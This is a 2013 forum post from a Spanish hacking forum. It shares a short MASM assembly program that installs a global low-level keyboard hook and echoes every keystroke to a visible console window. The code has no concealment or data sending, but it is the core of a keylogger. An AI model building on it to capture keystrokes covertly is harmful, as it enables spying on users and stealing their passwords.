Underc0de - Hacking y seguridad informática

Programación General => ASM => Mensaje iniciado por: binary_death en Septiembre 01, 2013, 01:59:57 pm

Título: [MASM] Hook al teclado
Publicado por: binary_death en Septiembre 01, 2013, 01:59:57 pm
Como el código que hizo linkgl, pero en ASM.

Código: ASM
  1. .386
  2. .model flat,stdcall
  3. option casemap:none
  4. include \masm32\include\windows.inc
  5. include \masm32\include\kernel32.inc
  6. include \masm32\include\user32.inc
  7. includelib \masm32\lib\kernel32.lib
  8. includelib \masm32\lib\user32.lib
  9. .data?
  10. h_hook      HHOOK ?
  11. kb_hook     KBDLLHOOKSTRUCT <>
  12. msg         MSG <>
  13. kb_ptr      DWORD ?
  14. key_buffer  DB 1
  15. h_buffer    HANDLE ?
  16.  
  17. .code
  18. start:
  19. invoke AllocConsole
  20. invoke GetStdHandle, STD_OUTPUT_HANDLE
  21. mov     [h_buffer], eax
  22. lea     ebx, LowLevelKeyboardProc
  23. invoke  SetWindowsHookEx, WH_KEYBOARD_LL, ebx, 0, 0
  24. mov     [h_hook], eax
  25.  
  26. message_proc:
  27.     invoke  GetMessage, addr msg, NULL, 0, 0
  28.     cmp     eax, TRUE
  29.     jz      process_msg
  30.     invoke  UnhookWindowsHookEx, [h_hook]
  31.     invoke  ExitProcess, 0
  32.     process_msg:
  33.         invoke  TranslateMessage, addr msg
  34.         invoke  DispatchMessage, addr msg
  35.         jmp message_proc
  36.  
  37. LowLevelKeyboardProc:
  38.     cmp     dword ptr[esp+4], 00h
  39.     jae     process_hook
  40.     return:
  41.         invoke  CallNextHookEx, 0, dword ptr[esp+4], dword ptr[esp+8], dword ptr[esp+0Ch]
  42.         retn
  43.     process_hook:
  44.         cmp     dword ptr[esp+8], WM_KEYDOWN
  45.         jnz     return
  46.         mov     ebx, [esp+0Ch]
  47.         mov     ebx, [ebx+00h]
  48.         mov     byte ptr[key_buffer],bl
  49.         invoke  WriteConsole, [h_buffer], addr key_buffer, 1, NULL, NULL
  50.         jmp return
  51.  
  52. ret
  53. end start
  54.